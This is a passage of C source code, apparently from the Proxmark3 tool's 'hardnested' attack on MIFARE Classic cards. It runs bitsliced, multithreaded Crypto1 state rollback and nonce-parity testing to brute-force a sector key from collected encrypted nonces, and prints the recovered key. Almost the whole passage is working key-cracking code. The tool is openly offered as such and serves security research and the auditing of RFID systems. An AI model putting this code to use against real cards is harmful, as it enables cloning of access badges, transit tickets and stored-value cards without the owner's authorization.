1411 for(uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < even_end; p_even += MAX_BITSLICES){
1412
1413 #ifdef __WIN32
1414 #ifdef __MINGW32__
1415 bitslice_t * restrict lstate_p = __mingw_aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1416 #else
1417 bitslice_t * restrict lstate_p = _aligned_malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize, bSize);
1418 #endif
1419 #else
1420 #ifdef __APPLE__
1421 bitslice_t * restrict lstate_p = malloc((STATE_SIZE+ROLLBACK_SIZE) * bSize);
1422 #else
1423 bitslice_t * restrict lstate_p = memalign(bSize, (STATE_SIZE+ROLLBACK_SIZE) * bSize);
1424 #endif
1425 #endif
1426
1427 if ( !lstate_p ) {
1428 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1429 return key;
1430 }
1431
1432 memset(lstate_p+1, 0x0, (STATE_SIZE-1)*sizeof(bitslice_t)); // zero even bits
1433
1434 // bitslice even half-states
1435 const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
1436 #ifdef EXACT_COUNT
1437 bucket_size[bitsliced_blocks] = max_slices;
1438 #endif
1439 for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
1440 uint32_t e = *(p_even+slice_idx);
1441 for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
1442 // set even bits
1443 if(e&1){
1444 lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
1445 }
1446 }
1447 }
1448 // compute the rollback bits
1449 for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
1450 // inlined crypto1_bs_lfsr_rollback
1451 const bitslice_value_t feedout = lstate_p[0].value;
1452 ++lstate_p;
1453 const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
1454 const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
1455 lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
1456 lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
1457 lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
1458 lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
1459 lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
1460 lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
1461 }
1462 bitsliced_even_states[bitsliced_blocks++] = lstate_p;
1463 }
1464
1465 // bitslice every odd state to every block of even half-states with half-finished rollback
1466 for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
1467 // early abort
1468 if(keys_found){
1469 goto out;
1470 }
1471
1472 // set the odd bits and compute rollback
1473 uint64_t o = (uint64_t) *p_odd;
1474 lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
1475 // pre-compute part of the odd feedback bits (minus rollback)
1476 bool odd_feedback_bit = parity(o&0x9ce5c);
1477
1478 crypto1_bs_rewind_a0();
1479 // set odd bits
1480 for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
1481 state_p[state_idx] = (o & 1) ? bs_ones : bs_zeroes;
1482 }
1483 const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
1484
1485 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1486 const bitslice_t * const restrict bitsliced_even_state = bitsliced_even_states[block_idx];
1487 size_t state_idx;
1488 // set even bits
1489 for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
1490 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1491 }
1492 // set rollback bits
1493 uint64_t lo = o;
1494 for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
1495 // set the odd bits and take in the odd rollback bits from the even states
1496 if(lo & 1){
1497 state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
1498 } else {
1499 state_p[state_idx] = bitsliced_even_state[state_idx];
1500 }
1501
1502 // set the even bits and take in the even rollback bits from the odd states
1503 if((lo >> 32) & 1){
1504 state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
1505 } else {
1506 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1507 }
1508 }
1509
1510 #ifdef EXACT_COUNT
1511 bucket_states_tested += (bucket_size[block_idx] > MAX_BITSLICES) ? MAX_BITSLICES : bucket_size[block_idx];
1512 #endif
1513 // pre-compute first keystream and feedback bit vectors
1514 const bitslice_value_t ksb = crypto1_bs_f20(state_p);
1515 const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
1516 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1517 state_p[47-24].value ^ state_p[47-42].value);
1518
1519 // vector to contain test results (1 = passed, 0 = failed)
1520 bitslice_t results = bs_ones;
1521
1522 for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
1523 size_t parity_bit_idx = 0;
1524 bitslice_value_t fb_bits = fbb;
1525 bitslice_value_t ks_bits = ksb;
1526 state_p = &states[KEYSTREAM_SIZE-1];
1527 bitslice_value_t parity_bit_vector = bs_zeroes.value;
1528
1529 // highest bit is transmitted/received first
1530 for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
1531 // decrypt nonce bits
1532 const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
1533 const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
1534
1535 // compute real parity bits on the fly
1536 parity_bit_vector ^= decrypted_nonce_bit_vector;
1537
1538 // update state
1539 state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
1540
1541 // compute next keystream bit
1542 ks_bits = crypto1_bs_f20(state_p);
1543
1544 // for each byte:
1545 if((ks_idx&7) == 0){
1546 // get encrypted parity bits
1547 const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
1548
1549 // decrypt parity bits
1550 const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
1551
1552 // compare actual parity bits with decrypted parity bits and take count in results vector
1553 results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
1554
1555 // make sure we still have a match in our set
1556 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1557
1558 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1559 // the short-circuiting also helps
1560 if(results.bytes64[0] == 0
1561 #if MAX_BITSLICES > 64
1562 && results.bytes64[1] == 0
1563 #endif
1564 #if MAX_BITSLICES > 128
1565 && results.bytes64[2] == 0
1566 && results.bytes64[3] == 0
1567 #endif
1568 ){
1569 goto stop_tests;
1570 }
1571 // this is about as fast but less portable (requires -std=gnu99)
1572 // asm goto ("ptest %1, %0\n\t"
1573 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1574 parity_bit_vector = bs_zeroes.value;
1575 }
1576 // compute next feedback bit vector
1577 fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
1578 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1579 state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
1580 state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
1581 state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
1582 state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
1583 }
1584 }
1585 // all nonce tests were successful: we've found the key in this block!
1586 state_t keys[MAX_BITSLICES];
1587 crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
1588 for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
1589 if(get_vector_bit(results_idx, results)){
1590 key = keys[results_idx].value;
1591 goto out;
1592 }
1593 }
1594 stop_tests:
1595 // prepare to set new states
1596 crypto1_bs_rewind_a0();
1597 continue;
1598 }
1599 }
1600
1601 out:
1602 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1603
1604 #ifdef __WIN32
1605 #ifdef __MINGW32__
1606 __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1607 #else
1608 _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1609 #endif
1610 #else
1611 free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1612 #endif
1613
1614 }
1615 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1616 return key;
1617 }
1618
1619 static void* crack_states_thread(void* x){
1620 const size_t thread_id = (size_t)x;
1621 size_t current_bucket = thread_id;
1622 statelist_t *bucket = NULL;
1623
1624 while(current_bucket < bucket_count){
1625 if (keys_found) break;
1626
1627 if ((bucket = buckets[current_bucket])) {
1628 const uint64_t key = crack_states_bitsliced(bucket);
1629
1630 if (keys_found) break;
1631 else if(key != -1) {
1632 if (TestIfKeyExists(key)) {
1633 __sync_fetch_and_add(&keys_found, 1);
1634 __sync_fetch_and_add(&foundkey, key);
1635 printf("*");
1636 fflush(stdout);
1637 break;
1638 }
1639 printf("!");
1640 fflush(stdout);
1641 } else {
1642 printf(".");
1643 fflush(stdout);
1644 }
1645 }
1646 current_bucket += thread_count;
1647 }
1648 return NULL;
1649 }
1650
1651 static bool brute_force(void) {
1652 bool ret = false;
1653 if (known_target_key != -1) {
1654 PrintAndLog("Looking for known target key in remaining key space...");
1655 ret = TestIfKeyExists(known_target_key);
1656 } else {
1657 if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)
1658
1659 PrintAndLog("Brute force phase starting.");
1660
1661 clock_t time1 = clock();
1662 keys_found = 0;
1663 foundkey = 0;
1664
1665 crypto1_bs_init();
1666 memset (bitsliced_rollback_byte, 0, sizeof (bitsliced_rollback_byte));
1667 memset (bitsliced_encrypted_nonces, 0, sizeof (bitsliced_encrypted_nonces));
1668 memset (bitsliced_encrypted_parity_bits, 0, sizeof (bitsliced_encrypted_parity_bits));
1669
1670 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
1671 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02X ...", best_first_bytes[0]^(cuid>>24));
1672 // convert to 32 bit little-endian
1673 crypto1_bs_bitslice_value32((best_first_bytes[0]<<24)^cuid, bitsliced_rollback_byte, 8);
1674
1675 PrintAndLog("Bitslicing nonces...");
1676 for(size_t tests = 0; tests < NONCE_TESTS; tests++){
1677 uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
1678 uint8_t test_parity = brute_force_nonces[tests]->par_enc;
1679 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1680 crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
1681 // convert to 32 bit little-endian
1682 crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
1683 }
1684 total_states_tested = 0;
1685
1686 // count number of states to go
1687 bucket_count = 0;
1688 buckets[MAX_BUCKETS-1] = NULL;
1689 for (statelist_t *p = candidates; p != NULL && bucket_count < MAX_BUCKETS; p = p->next) {
1690 buckets[bucket_count] = p;
1691 bucket_count++;
1692 }
1693 if (bucket_count < MAX_BUCKETS) buckets[bucket_count] = NULL;
1694
1695 #ifndef __WIN32
1696 thread_count = sysconf(_SC_NPROCESSORS_CONF);
1697 if ( thread_count < 1)
1698 thread_count = 1;
1699 #endif /* _WIN32 */
1700
1701 pthread_t threads[thread_count];
1702
1703 // enumerate states using all hardware threads, each thread handles one bucket
1704 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu64" states...", thread_count, bucket_count, maximum_states);
1705
1706 for(size_t i = 0; i < thread_count; i++){
1707 pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
1708 }
1709 for(size_t i = 0; i < thread_count; i++){
1710 pthread_join(threads[i], 0);
1711 }
1712
1713 time1 = clock() - time1;
1714 PrintAndLog("\nTime for bruteforce %0.1f seconds.",((float)time1)/CLOCKS_PER_SEC);
1715
1716 if (keys_found) {
1717 PrintAndLog("\nFound key: %012"PRIx64"\n", foundkey);
1718 ret = true;
1719 }
1720 // reset this counter for the next call
1721 nonces_to_bruteforce = 0;
1722 }
1723 return ret;
1724 }
1725
1726 int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests)
1727 {
1728 // initialize Random number generator
1729 time_t t;
1730 srand((unsigned) time(&t));
1731
1732 if (trgkey != NULL) {
1733 known_target_key = bytes_to_num(trgkey, 6);
1734 } else {
1735 known_target_key = -1;
1736 }
1737
1738 init_partial_statelists();
1739 init_BitFlip_statelist();
1740 write_stats = false;
1741
1742 if (tests) {
1743 // set the correct locale for the stats printing
1744 setlocale(LC_ALL, "");
1745 write_stats = true;
1746 if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) {
1747 PrintAndLog("Could not create/open file hardnested_stats.txt");
1748 return 3;
1749 }
1750 for (uint32_t i = 0; i < tests; i++) {
1751 init_nonce_memory();
1752 simulate_acquire_nonces();
1753 Tests();
1754 printf("Sum(a0) = %d\n", first_byte_Sum);
1755 fprintf(fstats, "%d;", first_byte_Sum);
1756 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1757 brute_force();
1758 free_nonces_memory();
1759 free_statelist_cache();
1760 free_candidates_memory(candidates);
1761 candidates = NULL;
1762 }
1763 fclose(fstats);
1764 fstats = NULL;
1765 } else {
1766 init_nonce_memory();
1767 if (nonce_file_read) { // use pre-acquired data from file nonces.bin
1768 if (read_nonce_file() != 0) {
1769 return 3;
1770 }
1771 Check_for_FilterFlipProperties();
1772 num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
1773 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1774
1775 bool cracking = generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1776 if (cracking || known_target_key != -1) {
1777 brute_force();
1778 }
1779
1780 } else { // acquire nonces.
1781 uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
1782 if (is_OK != 0) {
1783 return is_OK;
1784 }
1785 }
1786
1787 //Tests();
1788 free_nonces_memory();
1789 free_statelist_cache();
1790 free_candidates_memory(candidates);
1791 candidates = NULL;
1792 }
1793 return 0;
1794 }
Proxmark3 GIT tracking
Impressum, Datenschutz